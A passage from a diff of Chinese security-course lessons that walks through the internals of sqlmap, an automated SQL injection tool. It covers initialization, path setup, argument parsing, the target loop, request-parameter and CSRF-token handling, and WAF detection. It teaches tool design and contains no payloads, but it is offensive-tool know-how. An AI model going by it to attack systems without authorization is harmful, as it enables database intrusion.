||||
lib.core.convert.singleTimeWarnMessage = singleTimeWarnMessage
|
||||
lib.core.option._pympTempLeakPatch = pympTempLeakPatch
|
||||
lib.request.connect.setHTTPHandlers = _setHTTPHandlers
|
||||
lib.utils.search.setHTTPHandlers = _setHTTPHandlers
|
||||
lib.controller.checks.setVerbosity = setVerbosity
|
||||
lib.utils.sqlalchemy.getSafeExString = getSafeExString
|
||||
thirdparty.ansistrm.ansistrm.stdoutEncode = stdoutEncode
|
||||
|
||||
|
||||
sqlmap在消除交叉引用之后,程序会开始运行检查环境的函数checkEnvironment()。
|
||||
|
||||
def checkEnvironment():
|
||||
try:
|
||||
os.path.isdir(modulePath())
|
||||
except UnicodeEncodeError:
|
||||
errMsg = “your system does not properly handle non-ASCII paths. “
|
||||
errMsg += “Please move the sqlmap’s directory to the other location”
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
if LooseVersion(VERSION) < LooseVersion(“1.0”):
|
||||
errMsg = “your runtime environment (e.g. PYTHONPATH) is “
|
||||
errMsg += “broken. Please make sure that you are not running “
|
||||
errMsg += “newer versions of sqlmap with runtime scripts for older “
|
||||
errMsg += “versions”
|
||||
logger.critical(errMsg)
|
||||
raise SystemExit
|
||||
# Patch for pip (import) environment
|
||||
if “sqlmap.sqlmap” in sys.modules:
|
||||
for _ in (“cmdLineOptions”, “conf”, “kb”):
|
||||
globals()[_] = getattr(sys.modules[“lib.core.data”], _)
|
||||
for _ in (“SqlmapBaseException”, “SqlmapShellQuitException”, “SqlmapSilentQuitException”, “SqlmapUserQuitException”):
|
||||
globals()[_] = getattr(sys.modules[“lib.core.exception”], _)
|
||||
|
||||
|
||||
checkEnvironment函数会对当前的环境进行初步检查,检查的内容包括,存放sqlmap的路径是否包含非ASCII字符,以及sqlmap的版本是否小于1.0。
|
||||
|
||||
下一个函数setPaths(modulePath())是用来给项目中的文件夹和文件设置绝对路径的。
|
||||
|
||||
def setPaths(rootPath):
|
||||
"""
|
||||
Sets absolute paths for project directories and files
|
||||
"""
|
||||
paths.SQLMAP_ROOT_PATH = rootPath
|
||||
# sqlmap paths
|
||||
paths.SQLMAP_DATA_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "data")
|
||||
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
|
||||
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
||||
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
|
||||
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
|
||||
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
|
||||
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "txt")
|
||||
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "udf")
|
||||
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "xml")
|
||||
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
|
||||
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
|
||||
# sqlmap files
|
||||
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
|
||||
paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt")
|
||||
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
|
||||
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
|
||||
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
|
||||
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
|
||||
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
|
||||
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
|
||||
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
|
||||
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
|
||||
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
|
||||
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
|
||||
for path in paths.values():
|
||||
if any(path.endswith(_) for _ in (".txt", ".xml", ".tx_")):
|
||||
checkFile(path)
|
||||
if IS_WIN:
|
||||
# Reference: https://pureinfotech.com/list-environment-variables-windows-10/
|
||||
if os.getenv("LOCALAPPDATA"):
|
||||
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
|
||||
elif os.getenv("USERPROFILE"):
|
||||
paths.SQLMAP_HOME_PATH = os.path.expandvars("%USERPROFILE%\\Local Settings\\sqlmap")
|
||||
else:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), "sqlmap")
|
||||
else:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
||||
if not os.path.isdir(paths.SQLMAP_HOME_PATH):
|
||||
if "XDG_DATA_HOME" in os.environ:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.environ["XDG_DATA_HOME"], "sqlmap")
|
||||
else:
|
||||
paths.SQLMAP_HOME_PATH = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".local", "share", "sqlmap")
|
||||
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(paths.SQLMAP_HOME_PATH, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||
# History files
|
||||
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
|
||||
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
|
||||
paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst")
|
||||
paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst")
|
||||
paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst")
|
||||
|
||||
|
||||
设置完绝对路径后我们可以看到,sqlmap运行了一个banner函数,它对于sqlmap的运行没有实际的作用,但是作者可以通过banner函数绘制一幅字符画,是不是很酷!
|
||||
|
||||
|
||||
|
||||
下方是banner函数的代码,你在构建自己工具的时候也可以考虑引入这种有趣的小函数,为你的工具增添个性化色彩,让它看起来又酷又实用。
|
||||
|
||||
def banner():
|
||||
"""
|
||||
This function prints sqlmap banner with its version
|
||||
"""
|
||||
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
|
||||
result = BANNER
|
||||
if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
|
||||
result = clearColors(result)
|
||||
elif IS_WIN:
|
||||
coloramainit()
|
||||
dataToStdout(result, forceOutput=True)
|
||||
|
||||
|
||||
命令行参数解析
|
||||
|
||||
经过上面的函数执行之后,基本环境已经配置好了,程序将开始处理用户的输入,包括有命令行参数以及配置的文件参数。
|
||||
|
||||
def main():
|
||||
"""
|
||||
Main function of sqlmap when running from command line.
|
||||
"""
|
||||
try:
|
||||
dirtyPatches()
|
||||
resolveCrossReferences()
|
||||
checkEnvironment()
|
||||
setPaths(modulePath())
|
||||
banner()
|
||||
# Store original command line options for possible later restoration
|
||||
args = cmdLineParser()
|
||||
cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
|
||||
initOptions(cmdLineOptions)
|
||||
|
||||
|
||||
全局变量赋值与环境检查
|
||||
|
||||
在接收用户的输入参数之后,程序开始进入init方法,这个方法是一个重要的前期配置方法,里面包含大量的配置操作,这些操作我们可以进入函数中观察。
|
||||
|
||||
def init():
|
||||
_useWizardInterface() # 启动引导模式
|
||||
setVerbosity() # 设置默认的日志输出详细度
|
||||
_saveConfig() # 保存当前扫描的配置
|
||||
_setRequestFromFile() # 解析 request file 的文件内容
|
||||
_cleanupOptions() # 为 conf 中的参数赋初值
|
||||
_cleanupEnvironment()
|
||||
_purge() # 清空 sqlmap 相关信息
|
||||
_checkDependencies() # 检查是否缺失依赖
|
||||
_createHomeDirectories() # 创建 output、history 目录
|
||||
_createTemporaryDirectory() # 创建临时目录
|
||||
_basicOptionValidation() # 验证部分参数值是否符合预期
|
||||
_setProxyList() # 解析 proxy file 的文件内容
|
||||
_setTorProxySettings() # 设置 tor 代理
|
||||
_setDNSServer() # 创建 DNS 服务器
|
||||
_adjustLoggingFormatter() # 初始化日志格式化工具
|
||||
_setMultipleTargets() # 解析 burp log 的文件内容
|
||||
_listTamperingFunctions() # 输出 tamper 的详细信息
|
||||
_setTamperingFunctions() # 设置后续要调用的 tamper
|
||||
_setPreprocessFunctions() # 设置处理请求的函数
|
||||
_setPostprocessFunctions() # 设置处理响应的函数
|
||||
_setTrafficOutputFP() # 创建 trafficFile 并获取文件句柄
|
||||
_setupHTTPCollector() # 创建 HAR 文件
|
||||
_setHttpChunked() # 设置 chunked
|
||||
_checkWebSocket() # 检查 websocket 环境是否正常
|
||||
|
||||
parseTargetDirect() # 解析数据库链接
|
||||
|
||||
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
|
||||
_setHostname() # 设置 conf 中的 hostname
|
||||
_setHTTPTimeout() # 设置请求最大超时时间
|
||||
_setHTTPExtraHeaders() # 设置请求的 headers
|
||||
_setHTTPCookies() # 设置请求的 cookies
|
||||
_setHTTPReferer() # 设置请求的 referer
|
||||
_setHTTPHost() # 设置请求的 host
|
||||
_setHTTPUserAgent() # 设置请求的 UA
|
||||
_setHTTPAuthentication() # 设置请求的认证信息
|
||||
_setHTTPHandlers() # 设置对应的请求处理类
|
||||
_setDNSCache() # 设置 dns 缓存
|
||||
_setSocketPreConnect()
|
||||
_setSafeVisit()
|
||||
_doSearch() # 处理 Google Dork 解析
|
||||
_setStdinPipeTargets() # 从 pipeline 中获取 targets
|
||||
_setBulkMultipleTargets() # 从文本中获取 targets
|
||||
_checkTor() # 检查 tor 代理
|
||||
_setCrawler() # 设置爬虫信息
|
||||
_findPageForms() # 寻找页面中的表单
|
||||
_setDBMS() # 设置 DBMS
|
||||
_setTechnique() # 设置检测类型
|
||||
|
||||
_setThreads() # 设置线程数
|
||||
_setOS() # 设置操作系统类型
|
||||
_setWriteFile() # 设置文件写入信息
|
||||
_setMetasploit() # 设置 MSF 信息
|
||||
_setDBMSAuthentication() # 设置 DBMS 的认证信息
|
||||
loadBoundaries() # 加载 Boundaries
|
||||
loadPayloads() # 加载 Payloads
|
||||
_setPrefixSuffix() # 设置新的 prefix 和sufix
|
||||
update() # 更新 sqlmap
|
||||
_loadQueries() # 加载 queries
|
||||
|
||||
|
||||
其实我们只需要根据后面的注释,了解每个函数大概实现的功能就可以了,它们有些与初始化配置文件相关,有些与实际攻击过程相关。实际上,这里只是会初步解析命令行传入的参数,并不涉及到大部分函数的调用过程,在这里我们不需要理解的很细致,我们的核心关注点应该在注入逻辑上。
|
||||
|
||||
init()
|
||||
if not conf.updateAll:
|
||||
# Postponed imports (faster start)
|
||||
if conf.smokeTest:
|
||||
from lib.core.testing import smokeTest
|
||||
os._exitcode = 1 - (smokeTest() or 0)
|
||||
elif conf.vulnTest:
|
||||
from lib.core.testing import vulnTest
|
||||
os._exitcode = 1 - (vulnTest() or 0)
|
||||
else:
|
||||
from lib.controller.controller import start
|
||||
if conf.profile:
|
||||
from lib.core.profiling import profile
|
||||
globals()["start"] = start
|
||||
profile()
|
||||
else:
|
||||
try:
|
||||
if conf.crawlDepth and conf.bulkFile:
|
||||
targets = getFileItems(conf.bulkFile)
|
||||
for i in xrange(len(targets)):
|
||||
target = None
|
||||
try:
|
||||
kb.targets = OrderedSet()
|
||||
target = targets[i]
|
||||
if not re.search(r"(?i)\Ahttp[s]*://", target)
|
||||
target = "http://%s" % target
|
||||
infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets))
|
||||
logger.info(infoMsg)
|
||||
crawl(target)
|
||||
except Exception as ex:
|
||||
if target and not isinstance(ex, SqlmapUserQuitException):
|
||||
errMsg = "problem occurred while crawling '%s' ('%s')" % (target, getSafeExString(ex))
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
if kb.targets:
|
||||
start()
|
||||
|
||||
|
||||
学习完毕init方法之后,我们就完成了整个初始化过程。
|
||||
|
||||
总结
|
||||
|
||||
这节课,我们学习了自动化SQL注入测试工具–sqlmap的设计思路。
|
||||
|
||||
作为业内知名且常用的SQL自动化注入工具,sqlmap已经持续维护了超过10年的时间。作为有梦想的工程师,我们不仅需要掌握如何使用sqlmap,更要学习它的设计思想和工作原理,站在巨人的肩膀上才能帮助我们看的更远。
|
||||
|
||||
sqlmap的代码量十分庞大,因为掌握其核心设计思想和工作原理就十分重要,这会成为我们深入代码逻辑探索的风向标。因此,在了解如何获取sqlmap代码以及如何搭建sqlmap的运行环境后,我们进一步学习了sqlmap设计原理的相关知识,比如sqlmap的配置文件介绍等。
|
||||
|
||||
接下来,与大部分开源软件的设计思路类似,sqlmap在真正开始工作前需要做大量的初始化工作,因此我们对sqlmap的初始化流程进行了梳理。经过分析,总结出它主要包含有全局变量初始化、命令行参数解析、全局变量赋值以及环境检查这四个通用的初始化步骤,然后我们又具体学习了这四个流程是如何实现的。
|
||||
|
||||
在学习完sqlmap的初始化后,很快我们就会进入sqlmap的工作流程学习,这时我们需要重新审视sqlmap的设计架构,了解我们所处的位置。
|
||||
|
||||
|
||||
|
||||
这是我整理的一幅sqlmap工作原理图,在本节课我们学习了sqlmap工作前的初始化流程,这些内容可以帮助你认识到sqlmap设计时的底层逻辑。下节课我们将正式开始学习sqlmap的自动化注入功能,它的起点是预注入,也是我们在前几节课程中所讲的起手式阶段。
|
||||
|
||||
思考
|
||||
|
||||
sqlmap的初始化流程有什么值得改进的地方吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
406
专栏/Web漏洞挖掘实战/15自动化注入神器(二):sqlmap的设计架构解析.md
Normal file
406
专栏/Web漏洞挖掘实战/15自动化注入神器(二):sqlmap的设计架构解析.md
Normal file
@ -0,0 +1,406 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
15 自动化注入神器(二):sqlmap的设计架构解析
|
||||
你好,我是王昊天。
|
||||
|
||||
在上节课中,我们认识了一款自动化注入测试工具sqlmap,并对它的初始化过程有了深入了解。在完成了初始化之后,大部分软件就会开始进入正式的工作流程了,而这节课,我们就将开始学习sqlmap的工作流程。
|
||||
|
||||
在介绍sqlmap的工作流程之前,你可以先思考一个问题,我们平时是如何进行SQL注入测试的?如果让你来设计一个自动化注入测试工具,将平时手动实现的SQL注入测试步骤转化为机器的自动化实现,会遇到什么困难吗?
|
||||
|
||||
自动化注入的主要难点与人工注入会有一些差异,比如,人工很容易判断目标是否受到waf保护,也可以更好地观测注入结果,而让机器做同样的事情,则是一件不容易的事情。
|
||||
|
||||
对于人工而言,你可以发送一个容易被waf拦截的payload,通过这样的方式来观察页面的响应,进而判断waf是否存在。可是机器要如何实现呢?相信学完这篇课程,你可以解决这个问题。
|
||||
|
||||
在上一节课中,我们对sqlmap.py中的main函数进行了拆解,具体分析了init函数的主要功能,而init函数之后,就是start函数 。所以在这节课程中,我们会接着上一节课的内容,继续分析sqlmap.py中的main函数,主要讲解start函数实现的功能和方法。
|
||||
|
||||
start函数
|
||||
|
||||
在系统运行完sqlmap的初始化流程后,就会进入到start函数中,也就是我们这节课需要学习的主要内容。为了方便大家理解,可以将它主要分为四个部分,即准备工作、循环遍历目标、处理输入参数,以及判断waf的存在。
|
||||
|
||||
这是我绘制的一幅start函数拆解图,图中解释了四个部分分别做了哪些工作。
|
||||
|
||||
|
||||
|
||||
为了让你更好的理解start函数的功能,下面我们一起来看看start函数的内容。
|
||||
|
||||
@stackedmethod
|
||||
def start():
|
||||
"""
|
||||
This function calls a function that performs checks on both URL
|
||||
stability and all GET, POST, Cookie and User-Agent parameters to
|
||||
check if they are dynamic and SQL injection affected
|
||||
"""
|
||||
|
||||
# 这个配置并没有体现在命令行上,属于测试功能,可忽略。
|
||||
if conf.hashFile:
|
||||
crackHashFile(conf.hashFile)
|
||||
|
||||
if conf.direct:
|
||||
initTargetEnv()
|
||||
setupTargetEnv()
|
||||
action()
|
||||
return True
|
||||
|
||||
# 这个配置设定url和爬虫深度。
|
||||
if conf.url and not any((conf.forms, conf.crawlDepth)):
|
||||
kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None))
|
||||
|
||||
if conf.configFile and not kb.targets:
|
||||
errMsg = "you did not edit the configuration file properly, set "
|
||||
errMsg += "the target URL, list of targets or google dork"
|
||||
logger.error(errMsg)
|
||||
return False
|
||||
|
||||
if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
|
||||
infoMsg = "found a total of %d targets" % len(kb.targets)
|
||||
logger.info(infoMsg)
|
||||
|
||||
targetCount = 0
|
||||
initialHeaders = list(conf.httpHeaders)
|
||||
|
||||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||
# 这个配置输出目标数量信息。
|
||||
targetCount += 1
|
||||
try:
|
||||
if conf.checkInternet:
|
||||
infoMsg = "checking for Internet connection"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
这里你可以结合代码中的注释进行阅读,接下来我们会详细展开start函数的每一部分,因此这里你只需要对start函数的行为有个大概了解即可。
|
||||
|
||||
准备工作
|
||||
|
||||
start函数首先会进行一些针对目标的配置工作,配置结束之后,程序将开始利用for循环对每一个目标进行特定的操作,包括,检测网络的连通性,检测是否使用随机UA信息、是否配置post数据、提取检测参数、以及过滤用户排除的目标等。
|
||||
|
||||
下面让我们逐一观察它们对应的代码结构,来帮助你加深理解。
|
||||
|
||||
循环遍历目标
|
||||
|
||||
首先,是用for循环处理每一个目标的代码,可以看到for循环处理目标的代码中,包含了对网络连通性的测试。
|
||||
|
||||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||
targetCount += 1
|
||||
try:
|
||||
# 网络连通性测试
|
||||
if conf.checkInternet:
|
||||
infoMsg = "checking for Internet connection"
|
||||
logger.info(infoMsg)
|
||||
if not checkInternet():
|
||||
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
|
||||
dataToStdout(warnMsg)
|
||||
valid = False
|
||||
for _ in xrange(conf.retries):
|
||||
if checkInternet():
|
||||
valid = True
|
||||
break
|
||||
else:
|
||||
dataToStdout('.')
|
||||
time.sleep(5)
|
||||
if not valid:
|
||||
errMsg = "please check your Internet connection and rerun"
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
else:
|
||||
dataToStdout("\n")
|
||||
conf.url = targetUrl
|
||||
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
|
||||
conf.data = targetData
|
||||
conf.cookie = targetCookie
|
||||
conf.httpHeaders = list(initialHeaders)
|
||||
conf.httpHeaders.extend(targetHeaders or [])
|
||||
|
||||
|
||||
|
||||
接下来系统会开始提取一系列数据,这些数据会在HTTP请求中用到,包括请求的网址、cookies信息等。
|
||||
|
||||
conf.url = targetUrl
|
||||
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
|
||||
conf.data = targetData
|
||||
conf.cookie = targetCookie
|
||||
conf.httpHeaders = list(initialHeaders)
|
||||
conf.httpHeaders.extend(targetHeaders or [])
|
||||
|
||||
|
||||
|
||||
|
||||
完成了数据提取,系统会检查请求参数,这个步骤会分为3个子步骤,分别是配置随机的User-Agent信息、判断用户是否指定了用POST方式上传的数据、以及对目标的url进行合理性检查。
|
||||
|
||||
# 配置随机UA信息
|
||||
if conf.randomAgent or conf.mobile:
|
||||
for header, value in initialHeaders:
|
||||
if header.upper() == HTTP_HEADER.USER_AGENT.upper():
|
||||
conf.httpHeaders.append((header, value))
|
||||
break
|
||||
# ...
|
||||
|
||||
# 判断是否指定了POST数据
|
||||
if conf.data:
|
||||
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
|
||||
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
|
||||
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
|
||||
# ...
|
||||
|
||||
# URL合理性检查
|
||||
initTargetEnv()
|
||||
parseTargetUrl()
|
||||
|
||||
|
||||
完成这部分工作之后,sqlmap会有一个魔法操作,如果你理解了sqlmap的工作原理,就可以很容易理解这个魔法操作了,但如果你不理解,它一定会带给你不少痛苦,这个魔法操作就是缓存检查。
|
||||
|
||||
sqlmap会判断当前的查询在缓存中是否存在,如果存在,就说明sqlmap之前已经进行过同样的检查了,这时它就会跳过当前的检查目标;如果当前查询不存在,才会执行SQL注入攻击。我就曾经对同一目标执行多次SQL注入攻击,然后陷入了这个问题中,排查了很久才得以脱身。
|
||||
|
||||
if testSqlInj and conf.hostname in kb.vulnHosts:
|
||||
if kb.skipVulnHost is None:
|
||||
message = "SQL injection vulnerability has already been detected "
|
||||
message += "against '%s'. Do you want to skip " % conf.hostname
|
||||
message += "further tests involving it? [Y/n]"
|
||||
|
||||
kb.skipVulnHost = readInput(message, default='Y', boolean=True)
|
||||
|
||||
testSqlInj = not kb.skipVulnHost
|
||||
|
||||
if not testSqlInj:
|
||||
infoMsg = "skipping '%s'" % targetUrl
|
||||
logger.info(infoMsg)
|
||||
continue
|
||||
|
||||
|
||||
处理输入参数
|
||||
|
||||
此时,sqlmap会进入start函数内部的第四个步骤,也就是处理输入参数。除了设置一些存储信息和配置结果文件,还会针对性地处理一些请求数据,这部分的处理过程,会在setRequestParams函数中进行。
|
||||
|
||||
为了大家更好的理解_setRequestParams()这个函数,我在下面列出了它的部分代码,其中包括了它对请求参数get、post、注入点标记、cookie、header以及csrf-token的处理过程,大家可以结合代码中的注释,更加深入地理解这个函数,看看它是如何处理请求参数的。
|
||||
|
||||
def _setRequestParams():
|
||||
|
||||
# ...
|
||||
# 检查请求的get参数,若有将它存储起来,供测试时使用。
|
||||
if conf.parameters.get(PLACE.GET):
|
||||
parameters = conf.parameters[PLACE.GET]
|
||||
paramDict = paramToDict(PLACE.GET, parameters)
|
||||
|
||||
if paramDict:
|
||||
conf.paramDict[PLACE.GET] = paramDict
|
||||
testableParameters = True
|
||||
|
||||
# 检查请求的post参数,若有将它存储起来,供测试使用。
|
||||
if conf.method == HTTPMETHOD.POST and conf.data is None:
|
||||
logger.warn("detected empty POST body")
|
||||
conf.data = ""
|
||||
if conf.data is not None:
|
||||
conf.method = conf.method or HTTPMETHOD.POST
|
||||
# ...
|
||||
conf.parameters[PLACE.POST] = conf.data
|
||||
|
||||
# ...
|
||||
# 检查是否有get参数、post参数。
|
||||
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
|
||||
|
||||
# 若没有找到get参数和post参数,系统会发出警告信息。
|
||||
warnMsg = "you've provided target URL without any GET "
|
||||
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
|
||||
warnMsg += "and without providing any POST parameters "
|
||||
warnMsg += "through option '--data'"
|
||||
logger.warn(warnMsg)
|
||||
message = "do you want to try URI injections "
|
||||
message += "in the target URL itself? [Y/n/q] "
|
||||
|
||||
# ...
|
||||
# 循环检查目标是否有注入点标记参数。
|
||||
for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
|
||||
if place == PLACE.CUSTOM_HEADER and any((conf.forms, conf.crawlDepth)):
|
||||
continue
|
||||
|
||||
_ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
|
||||
if kb.customInjectionMark in _:
|
||||
|
||||
# ...
|
||||
# 找到了注入点标记参数就将它存储在字典中,供后面测试使用。
|
||||
conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))))
|
||||
|
||||
# 检查是否有cookie参数,若有就将它存储起来,供后面测试使用。
|
||||
if conf.cookie:
|
||||
conf.parameters[PLACE.COOKIE] = conf.cookie
|
||||
paramDict = paramToDict(PLACE.COOKIE, conf.cookie)
|
||||
|
||||
if paramDict:
|
||||
conf.paramDict[PLACE.COOKIE] = paramDict
|
||||
testableParameters = True
|
||||
|
||||
# ...
|
||||
# 检查是否有header参数,若有就将它存储起来,供后面测试使用。
|
||||
if conf.httpHeaders:
|
||||
for httpHeader, headerValue in list(conf.httpHeaders):
|
||||
# Url encoding of the header values should be avoided
|
||||
# Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
|
||||
if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
|
||||
conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
|
||||
|
||||
# ...
|
||||
# 检查csrf token参数。
|
||||
#当csrf token参数存在。
|
||||
if conf.csrfToken:
|
||||
|
||||
# 检查get、post、cookie、header values参数中是否有anti-csrf token参数。(anti-csrf token是一个用来防止跨站请求伪造设置的参数。)
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
|
||||
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
|
||||
errMsg += "found in provided GET, POST, Cookie or header values"
|
||||
|
||||
# 如果这些参数中都没有anti-csrf token参数,那么系统会报错。
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
# 当csrf token参数不存在。
|
||||
else:
|
||||
for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
|
||||
if conf.csrfToken:
|
||||
break
|
||||
|
||||
# 判断注入点标记的参数是否需要csrf token信息。
|
||||
for parameter in conf.paramDict.get(place, {}):
|
||||
if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
|
||||
message = "%sparameter '%s' appears to hold anti-CSRF token. " % ("%s " % place if place != parameter else "", parameter)
|
||||
message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
|
||||
if readInput(message, default='N', boolean=True):
|
||||
class _(six.text_type):
|
||||
pass
|
||||
# 设置csrf token参数。
|
||||
conf.csrfToken = _(re.escape(getUnicode(parameter)))
|
||||
conf.csrfToken._original = getUnicode(parameter)
|
||||
break
|
||||
|
||||
|
||||
检测waf
|
||||
|
||||
在完成上述步骤之后,sqlmap就完成了针对注入测试目标的参数配置工作。配置完参数后,sqlmap就可以开始连通性的检测了,通过这一步来判断目标是否可以访问。如果该目标无法连接上,那么sqlmap就会跳过对当前目标的检测;如果可以连接到目标,那么sqlmap就会开始判断该目标是否有waf保护。这是因为waf的存在会对sqlmap的SQL注入测试有很大的影响,所以sqlmap会在注入测试前,判断waf是否存在。
|
||||
|
||||
# 逐个目标判断。
|
||||
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
|
||||
|
||||
# ...
|
||||
setupTargetEnv()
|
||||
|
||||
# 如果连接不上,跳过当前测试目标。
|
||||
if not checkConnection(suppressOutput=conf.forms):
|
||||
continue
|
||||
|
||||
# ...
|
||||
# 如果可以连接上,判断目标是否存在waf。
|
||||
checkWaf()
|
||||
|
||||
|
||||
